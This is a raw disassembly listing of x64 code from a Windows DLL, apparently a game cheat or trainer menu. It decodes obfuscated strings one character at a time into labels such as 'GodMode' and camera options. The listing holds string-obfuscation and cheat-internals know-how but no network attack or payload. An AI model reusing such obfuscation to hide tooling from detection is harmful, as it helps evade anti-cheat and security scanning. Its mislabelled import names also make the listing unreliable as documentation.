mov cl, 0x61
call fcn.1800146c0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146c0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146c0
mov byte [rsp + 0x54], al
mov cl, WSAGetLastError
call fcn.1800146c0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800146c0
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.1800146c0
mov byte [rsp + 0x57], al
mov cl, 0x53
call fcn.1800146c0
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.1800146c0
movzx r13d, al
mov cl, 0x6c
call fcn.1800146c0
movzx r12d, al
mov cl, 0x65
call fcn.1800146c0
movzx r15d, al
mov cl, 0x63
call fcn.1800146c0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146c0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146c0
movzx edi, al
mov cl, WSAStartup
call fcn.1800146c0
movzx ebx, al
xor ecx, ecx
call fcn.1800146c0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xdb8], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xdb9], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xdba], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xdbb], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xdbc], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xdbd], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xdbe], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xdbf], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xdc0], cl
mov byte [rbp + 0xdc1], r13b
mov byte [rbp + 0xdc2], r12b
mov byte [rbp + 0xdc3], r15b
mov byte [rbp + 0xdc4], r14b
mov byte [rbp + 0xdc5], sil
mov byte [rbp + 0xdc6], dil
mov byte [rbp + 0xdc7], bl
mov byte [rbp + 0xdc8], al
lea rcx, [rbp + 0x2858]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20000000
xor r8d, r8d
mov esi, reloc.WS2_32.dll_recvfrom
mov edx, esi
lea rcx, [rbp + 0x2858]
call fcn.180014330
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rbp + 0xdb8]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.1800146c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2858]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800daed0
lea rcx, [rbp + 0x2858]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x2858]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3b50]
call fcn.180076f00
movss xmm0, dword [rax]
movss xmm6, dword [0x1801ce7a8]
subss xmm0, xmm6
call fcn.180076c70
movaps xmm0, xmm7
call fcn.180076bd0
movsxd rdx, dword [0x1805e4f64]
lea rcx, [0x1805e5440]
call fcn.1800ed510
lea rcx, [rax + 8]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xed0], xmm0
mov word [rbp + 0xee0], ax
mov cl, 0x23
call fcn.180014670
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180014670
mov byte [rsp + 0x51], al
mov cl, 0x77
call fcn.180014670
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.180014670
mov byte [rsp + 0x53], al
mov cl, 0x61
call fcn.180014670
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014670
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014670
mov byte [rsp + 0x56], al
mov cl, WSAGetLastError
call fcn.180014670
mov byte [rsp + 0x57], al
mov cl, 0x5f
call fcn.180014670
mov byte [rsp + 0x58], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014670
mov byte [rsp + 0x59], al
mov cl, 0x65
call fcn.180014670
movzx r13d, al
mov cl, 0x6c
call fcn.180014670
movzx r12d, al
mov cl, 0x65
call fcn.180014670
movzx r15d, al
mov cl, 0x63
call fcn.180014670
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014670
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014670
movzx edi, al
mov cl, WSAStartup
call fcn.180014670
movzx ebx, al
xor ecx, ecx
call fcn.180014670
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xed0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xed1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xed2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xed3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xed4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xed5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xed6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xed7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xed8], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xed9], cl
mov byte [rbp + 0xeda], r13b
mov byte [rbp + 0xedb], r12b
mov byte [rbp + 0xedc], r15b
mov byte [rbp + 0xedd], r14b
mov byte [rbp + 0xede], sil
mov byte [rbp + 0xedf], dil
mov byte [rbp + 0xee0], bl
mov byte [rbp + 0xee1], al
lea rcx, [rbp + 0x2878]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x40000000
xor r8d, r8d
mov r14d, reloc.WS2_32.dll_select
mov edx, r14d
lea rcx, [rbp + 0x2878]
call fcn.180014330
xor edi, edi
mov esi, edi
mov rdx, rsi
lea rcx, [rbp + 0xed0]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.180014670
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2878]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800db120
lea rcx, [rbp + 0x2878]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.1800974c0
movzx ebx, al
lea rcx, [rbp + 0x2878]
call fcn.180011f20
test bl, bl
je 0x1800db224
mov esi, edi
lea rcx, [0x1805e5440]
call fcn.1800ed520
test rax, rax
je 0x1800db21f
nop dword [rax]
cmp dword [0x1805e4f64], esi
sete byte [rbp + 0x4bab]
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x3b58]
call fcn.180011e10
mov rbx, rax
mov rdx, rdi
lea rcx, [0x1805e5440]
call fcn.1800ed510
lea rcx, [rax + 8]
call fcn.1800143e0
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x4bab]
mov rcx, rax
call fcn.1800a2650
test al, al
je 0x1800db1fb
mov dword [0x1805e4f64], esi
cmp byte [rbp + 0x4bab], 0
je 0x1800db209
call fcn.180075c30
inc esi
movsxd rdi, esi
lea rcx, [0x1805e5440]
call fcn.1800ed520
cmp rdi, rax
jb 0x1800db1a0
call fcn.180078610
call fcn.180076d20
call fcn.180075800
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm6
call fcn.180076bd0
movss xmm1, dword [0x1801ce5d0]
mov ecx, reloc.WS2_32.dll_listen
call fcn.1800696e0
lea rcx, [rbp + 0x3b60]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm6
movaps xmm2, xmm7
lea rcx, [rbp + 0x3b68]
call fcn.180011e10
mov rdx, rax
lea rcx, [rbp + 0x5240]
call fcn.180094d40
test al, al
je 0x1800db568
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, 0x5b
lea r8d, [r9 - 0x26]
lea rcx, [rbp + 0x4878]
call fcn.180011e40
movups xmm6, xmmword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10b8], xmm0
mov qword [rbp + 0x10c8], rax
mov cl, 0x4f
call fcn.180056a40
mov byte [rsp + 0x50], al
mov cl, WSAGetLastError
call fcn.180056a40
mov byte [rsp + 0x51], al
mov cl, 0x6c
call fcn.180056a40
mov byte [rsp + 0x52], al
mov cl, 0x79
call fcn.180056a40
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180056a40
mov byte [rsp + 0x54], al
mov cl, 0x61
call fcn.180056a40
mov byte [rsp + 0x55], al
mov cl, 0x76
call fcn.180056a40
mov byte [rsp + 0x56], al
mov cl, 0x61
call fcn.180056a40
mov byte [rsp + 0x57], al
mov cl, 0x69
call fcn.180056a40
mov byte [rsp + 0x58], al
mov cl, 0x62
call fcn.180056a40
mov byte [rsp + 0x59], al
mov cl, 0x6c
call fcn.180056a40
mov byte [rsp + 0x5a], al
mov cl, 0x65
call fcn.180056a40
mov byte [rsp + 0x60], al
mov cl, 0x20
call fcn.180056a40
mov byte [rsp + 0x61], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a40
mov byte [rsp + 0x62], al
mov cl, WSAGetLastError
call fcn.180056a40
mov byte [rsp + 0x63], al
mov cl, 0x20
call fcn.180056a40
mov byte [rsp + 0x78], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a40
movzx r13d, al
mov cl, 0x65
call fcn.180056a40
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a40
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a40
movzx r14d, al
mov cl, 0x69
call fcn.180056a40
movzx esi, al
mov cl, WSAGetLastError
call fcn.180056a40
movzx edi, al
mov cl, 0x67
call fcn.180056a40
movzx ebx, al
xor ecx, ecx
call fcn.180056a40
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x10b8], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x10b9], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x10ba], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x10bb], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x10bc], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x10bd], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x10be], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x10bf], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x10c0], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x10c1], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x10c2], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x10c3], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x10c4], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x10c5], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0x10c6], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0x10c7], cl
mov byte [rbp + 0x10c8], r13b
mov byte [rbp + 0x10c9], r12b
mov byte [rbp + 0x10ca], r15b
mov byte [rbp + 0x10cb], r14b
mov byte [rbp + 0x10cc], sil
mov byte [rbp + 0x10cd], dil
mov byte [rbp + 0x10ce], bl
mov byte [rbp + 0x10cf], al
lea rcx, [rbp + 0x2898]
call fcn.180011f00
mov dword [rsp + 0x5c], reloc.WS2_32.dll_recv
xor r8d, r8d
mov esi, 0x18
mov edx, esi
lea rcx, [rbp + 0x2898]
call fcn.180014330
xor edi, edi
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x10b8]
call fcn.180056750
movzx ecx, byte [rax]
call fcn.180056a40
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2898]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800db4f0
lea rcx, [rbp + 0x2898]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x45a8]
call fcn.1800143f0
movdqa xmmword [rbp - 0x70], xmm6
movaps xmm3, xmm14
lea r8, [rbp - 0x70]
lea rdx, [0x1801cc57c]
mov rcx, rax
call fcn.1800b0870
nop
lea rcx, [rbp + 0x2898]
call fcn.180011f20
mov ecx, 1
call fcn.1800697c0
call fcn.180075800
call fcn.180070430
jmp case.default.0x1800caf59
mov edx, dword [0x1805e2604]
mov rax, qword gs:[0x58]
mov ecx, 8
mov rax, qword [rax + rdx*8]
mov eax, dword [rcx + rax]
cmp dword [0x1805e6040], eax
jle 0x1800db5e5
lea rcx, [0x1805e6040]
call fcn.180155598
cmp dword [0x1805e6040], 0xffffffff
jne 0x1800db5e5
lea rdx, [0x1801c45a1]
lea rcx, [0x1805e6060]
call fcn.180068f00
lea rcx, [0x1801a4420]
call fcn.180155a84
nop
lea rcx, [0x1805e6040]
call fcn.18015552c
mov edx, 0x18
lea rcx, [rbp + 0x4bc0]
call fcn.180017300
lea rcx, [0x1805e5b90]
call fcn.1800543d0
lea rdx, [rbp + 0x4bc0]
mov rcx, rax
call fcn.18002fd70
nop
movss xmm8, dword [0x1801ce774]
movaps xmm0, xmm8
call fcn.180076c20
movaps xmm0, xmm8
call fcn.180076bd0
lea rcx, [rbp + 0x3b70]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
lea rcx, [rbp + 0x3b78]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
movss xmm13, dword [0x1801ce760]
subss xmm1, xmm13
movaps xmm2, xmm6
lea rcx, [rbp + 0x3b80]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xeb8], xmm0
mov word [rbp + 0xec8], ax
mov cl, 0x23
call fcn.1800149a0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800149a0
mov byte [rsp + 0x51], al
mov cl, 0x63
call fcn.1800149a0
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.1800149a0
mov byte [rsp + 0x53], al
mov cl, WSAStartup
call fcn.1800149a0
mov byte [rsp + 0x54], al
mov cl, 0x5f
call fcn.1800149a0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800149a0
mov byte [rsp + 0x56], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800149a0
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800149a0
mov byte [rsp + 0x58], al
mov cl, 0x69
call fcn.1800149a0
mov byte [rsp + 0x59], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800149a0
movzx r13d, al
mov cl, WSAGetLastError
call fcn.1800149a0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800149a0
movzx r15d, al
mov cl, 0x5f
call fcn.1800149a0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800149a0
movzx esi, al
mov cl, 0x61
call fcn.1800149a0
movzx edi, al
mov cl, 0x62
call fcn.1800149a0
movzx ebx, al
xor ecx, ecx
call fcn.1800149a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xeb8], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xeb9], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xeba], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xebb], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xebc], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xebd], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xebe], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xebf], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xec0], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xec1], cl
mov byte [rbp + 0xec2], r13b
mov byte [rbp + 0xec3], r12b
mov byte [rbp + 0xec4], r15b
mov byte [rbp + 0xec5], r14b
mov byte [rbp + 0xec6], sil
mov byte [rbp + 0xec7], dil
mov byte [rbp + 0xec8], bl
mov byte [rbp + 0xec9], al
lea rcx, [rbp + 0x28b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x40
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_select
mov edx, ebx
lea rcx, [rbp + 0x28b8]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
mov rdx, rsi
lea rcx, [rbp + 0xeb8]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.1800149a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x28b8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800db821
lea rcx, [rbp + 0x28b8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x28b8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x1230], rax
mov cl, 0x4f
call fcn.1800ed810
mov byte [rsp + 0x68], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed810
mov byte [rsp + 0x69], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed810
mov byte [rsp + 0x6a], al
mov cl, 0x69
call fcn.1800ed810
mov byte [rsp + 0x6b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed810
mov byte [rsp + 0x6c], al
mov cl, WSAGetLastError
call fcn.1800ed810
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed810
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800ed810
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1230], rax
lea rcx, [rbp + 0x28d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x28d8]
call fcn.180014330
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1230]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800ed810
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x28d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800db920
lea rcx, [rbp + 0x28d8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x28d8]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movss xmm6, dword [0x1801ce7ac]
movaps xmm0, xmm6
call fcn.180076bd0
movss xmm0, dword [0x1801ce7c4]
call fcn.180076c20
xorps xmm0, xmm0
movups xmmword [rbp + 0x1020], xmm0
mov cl, 0x20
call fcn.180014780
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.180014780
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180014780
mov byte [rsp + 0x52], al
mov cl, 0x41
call fcn.180014780
mov byte [rsp + 0x53], al
mov cl, 0x63
call fcn.180014780
mov byte [rsp + 0x54], al
mov cl, 0x63
call fcn.180014780
mov byte [rsp + 0x55], al
mov cl, 0x65
call fcn.180014780
mov byte [rsp + 0x56], al
mov cl, 0x6c
call fcn.180014780
mov byte [rsp + 0x57], al
mov cl, 0x65
call fcn.180014780
movzx r13d, al
mov cl, WSAStartup
call fcn.180014780
movzx r12d, al
mov cl, 0x61
call fcn.180014780
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014780
movzx r14d, al
mov cl, 0x69
call fcn.180014780
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014780
movzx edi, al
mov cl, WSAGetLastError
call fcn.180014780
movzx ebx, al
xor ecx, ecx
call fcn.180014780
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1020], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1021], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1022], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x1023], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x1024], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x1025], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1026], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x1027], cl
mov byte [rbp + 0x1028], r13b
mov byte [rbp + 0x1029], r12b
mov byte [rbp + 0x102a], r15b
mov byte [rbp + 0x102b], r14b
mov byte [rbp + 0x102c], sil
mov byte [rbp + 0x102d], dil
mov byte [rbp + 0x102e], bl
mov byte [rbp + 0x102f], al
lea rcx, [rbp + 0x28f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x200000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recv
mov edx, ebx
lea rcx, [rbp + 0x28f8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1020]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.180014780
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x28f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dbb10
lea rcx, [rbp + 0x28f8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4816]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x28f8]
call fcn.180011f20
movaps xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x290], rax
mov word [rbp + 0x298], ax
mov byte [rbp + 0x29a], al
mov cl, 0x20
call fcn.180014720
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.180014720
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180014720
mov byte [rsp + 0x52], al
mov cl, 0x47
call fcn.180014720
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014720
movzx r12d, al
mov cl, 0x64
call fcn.180014720
movzx r15d, al
mov cl, 0x4d
call fcn.180014720
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014720
movzx esi, al
mov cl, 0x64
call fcn.180014720
movzx edi, al
mov cl, 0x65
call fcn.180014720
movzx ebx, al
xor ecx, ecx
call fcn.180014720
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x290], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x291], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x292], cl
mov byte [rbp + 0x293], r13b
mov byte [rbp + 0x294], r12b
mov byte [rbp + 0x295], r15b
mov byte [rbp + 0x296], r14b
mov byte [rbp + 0x297], sil
mov byte [rbp + 0x298], dil
mov byte [rbp + 0x299], bl
mov byte [rbp + 0x29a], al
lea rcx, [rbp + 0x2918]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x400000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x2918]
call fcn.180014330
xor edi, edi
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x290]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014720
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2918]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dbc81
lea rcx, [rbp + 0x2918]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4814]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2918]
call fcn.180011f20
movaps xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x678], eax
mov byte [rbp + 0x67c], al
mov cl, 0x20
call fcn.180056910
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.180056910
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180056910
mov byte [rsp + 0x52], al
mov cl, 0x43
call fcn.180056910
mov byte [rsp + 0x53], al
mov cl, 0x61
call fcn.180056910
mov byte [rsp + 0x54], al
mov cl, WSAStartup
call fcn.180056910
movzx r13d, al
mov cl, 0x20
call fcn.180056910
movzx r12d, al
mov cl, 0x43
call fcn.180056910
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056910
movzx r14d, al
mov cl, 0x6c
call fcn.180056910
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056910
movzx edi, al
mov cl, WSAStartup
call fcn.180056910
movzx ebx, al
xor ecx, ecx
call fcn.180056910
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x670], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x671], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x672], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x673], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x674], cl
mov byte [rbp + 0x675], r13b
mov byte [rbp + 0x676], r12b
mov byte [rbp + 0x677], r15b
mov byte [rbp + 0x678], r14b
mov byte [rbp + 0x679], sil
mov byte [rbp + 0x67a], dil
mov byte [rbp + 0x67b], bl
mov byte [rbp + 0x67c], al
lea rcx, [rbp + 0x2938]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x800000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x2938]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x670]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180056910
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2938]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dbe20
lea rcx, [rbp + 0x2938]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4810]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2938]
call fcn.180011f20
movss xmm7, dword [0x1801ce7cc]
movaps xmm1, xmm7
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0xa40], rax
mov dword [rbp + 0xa48], eax
mov cl, 0x23
call fcn.1800ed7f0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800ed7f0
mov byte [rsp + 0x51], al
mov cl, 0x63
call fcn.1800ed7f0
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.1800ed7f0
mov byte [rsp + 0x53], al
mov cl, WSAStartup
call fcn.1800ed7f0
movzx r13d, al
mov cl, 0x5f
call fcn.1800ed7f0
movzx r12d, al
mov cl, 0x63
call fcn.1800ed7f0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7f0
movzx r14d, al
mov cl, 0x6c
call fcn.1800ed7f0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7f0
movzx edi, al
mov cl, WSAStartup
call fcn.1800ed7f0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7f0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa40], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa41], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa42], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xa43], cl
mov byte [rbp + 0xa44], r13b
mov byte [rbp + 0xa45], r12b
mov byte [rbp + 0xa46], r15b
mov byte [rbp + 0xa47], r14b
mov byte [rbp + 0xa48], sil
mov byte [rbp + 0xa49], dil
mov byte [rbp + 0xa4a], bl
mov byte [rbp + 0xa4b], al
lea rcx, [rbp + 0x2958]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x1000000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2958]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop
mov rdx, rsi
lea rcx, [rbp + 0xa40]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800ed7f0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2958]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800dbfb0
lea rcx, [rbp + 0x2958]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x304e2
lea rdx, [0x1805dde18]
call fcn.18009e200
nop
lea rcx, [rbp + 0x2958]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
lea rcx, [rbp + 0x3b88]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
movss xmm6, dword [0x1801ce7e4]
subss xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x1154], eax
mov cl, 0x6d
call fcn.1800147a0
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.1800147a0
mov byte [rsp + 0x71], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147a0
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.1800147a0
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1154], eax
lea rcx, [rbp + 0x2998]
call fcn.180011f00
